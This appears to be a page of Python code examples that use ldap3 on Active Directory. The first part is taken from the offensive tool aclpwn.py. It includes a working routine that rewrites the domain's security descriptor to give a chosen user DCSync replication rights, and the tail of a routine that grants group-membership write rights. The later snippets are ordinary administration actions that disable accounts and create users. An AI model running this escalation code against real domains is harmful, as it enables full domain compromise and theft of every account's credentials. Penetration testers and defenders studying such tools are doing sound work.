    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result))) 
Example #20
Source File: exploitation.py    From aclpwn.py with MIT License 4 votes vote down vote up
def add_domain_sync(ldapconnection, state, user_sam, domain_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying domain security descriptor')
    ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    # This shouldn't happen but lets be sure just in case
    if ldap2domain(entry.entry_dn).upper() != domain_name.upper():
        raise ExploitException('Wrong domain! LDAP returned the domain %s but escalation was requested to %s' % (ldap2domain(entry.entry_dn).upper(), domain_name.upper()))

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # We need "control access" here for the extended attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

    # these are the GUIDs of the get-changes and get-changes-all extended attributes
    secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype))
    secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype))

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_domain_sync', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_domain_sync', restoredata)
        raise ExploitException('Failed to add DCSync privs to %s: %s' % (userdn, str(ldapconnection.result))) 
Example #21
Source File: action.py    From insightconnect-plugins with MIT License 4 votes vote down vote up
def run(self, params={}):
        conn = self.connection.conn
        dn = params.get('distinguished_name')
        dn = ADUtils.dn_normalize(dn)
        temp_list = ADUtils.dn_escape_and_split(dn)
        dc_list = [s for s in temp_list if 'DC' in s]
        dc = ','.join(dc_list)
        escaped_dn = ','.join(temp_list)

        pairs = ADUtils.find_parentheses_pairs(escaped_dn)
        self.logger.info(pairs)
        # replace ( and ) when they are part of a name rather than a search parameter
        if pairs:
            for key, value in pairs.items():
                tempstring = escaped_dn
                if tempstring.find('=', key, value) == -1:
                    escaped_dn = escaped_dn[:value] + '\\29' + escaped_dn[value + 1:]
                    escaped_dn = escaped_dn[:key] + '\\28' + escaped_dn[key + 1:]

        self.logger.info(escaped_dn)

        conn.search(search_base=dc,
                    search_filter=f'(distinguishedName={escaped_dn})',
                    attributes=['userAccountControl']
                    )
        results = conn.response
        dn_test = [d['dn'] for d in results if 'dn' in d]
        try:
            dn_test[0]
        except Exception as ex:
            self.logger.error('The DN ' + escaped_dn + ' was not found')
            raise PluginException(cause="The DN was not found",
                                  assistance="The DN " + escaped_dn + " was not found") from ex
        user_list = [d['attributes'] for d in results if 'attributes' in d]
        user_control = user_list[0]
        try:
            account_status = user_control['userAccountControl']
        except Exception as ex:
            self.logger.error('The DN ' + escaped_dn + ' is not a user')
            raise PluginException(cause="The DN is not a user",
                                  assistance="The DN " + escaped_dn + " is not a user") from ex
        user_account_flag = 2
        account_status = account_status | user_account_flag

        conn.modify(escaped_dn, {'userAccountControl': [(MODIFY_REPLACE, [account_status])]})
        result = conn.result
        output = result['description']

        if result['result'] == 0:
            return {'success': True}

        self.logger.error('failed: error message %s' % output)
        return {'success': False} 
Example #22
Source File: action.py    From insightconnect-plugins with MIT License 4 votes vote down vote up
def run(self, params={}):
        conn = self.connection.conn
        ssl = self.connection.ssl
        domain_name = params.get('domain_name')
        first_name = params.get('first_name')
        last_name = params.get('last_name')
        logon_name = params.get('logon_name')
        user_ou = params.get('user_ou')
        account_disabled = params.get('account_disabled')
        password = params.get('password')
        additional_parameters = params.get('additional_parameters')
        user_principal_name = params.get('user_principal_name')

        if account_disabled == 'true':
            user_account_control = 514
        else:
            user_account_control = 512

        full_name = first_name + ' ' + last_name
        domain_dn = domain_name.replace('.', ',DC=')
        if user_ou == "Users":
            user_ou = user_ou.replace(',', ',CN=')
        else:
            user_ou = user_ou.replace(',', ',OU=')
        if user_ou == "Users":
            dn = 'CN={},CN={},DC={}'.format(full_name, user_ou, domain_dn)
        else:
            dn = 'CN={},OU={},DC={}'.format(full_name, user_ou, domain_dn)

        self.logger.info("User DN=" + dn)

        if ssl is False:
            self.logger.info('Warning SSL is not enabled. User password can not be set. User account will be disabled')

        parameters = {'givenName': first_name, 'sn': last_name, 'sAMAccountName': logon_name,
                      'userPassword': password, 'userPrincipalName': user_principal_name}

        parameters.update(additional_parameters)
        log_parameters = parameters
        log_parameters.pop("userPassword")
        self.logger.info(log_parameters)

        conn.add(dn, ['person', 'user'], parameters)
        pass_set = extend.ad_modify_password(conn, dn, password, None)
        change_uac_attribute = {'userAccountControl': (MODIFY_REPLACE, [user_account_control])}
        conn.modify(dn, change_uac_attribute)
        self.logger.info(conn.result)
        return {'success': pass_set}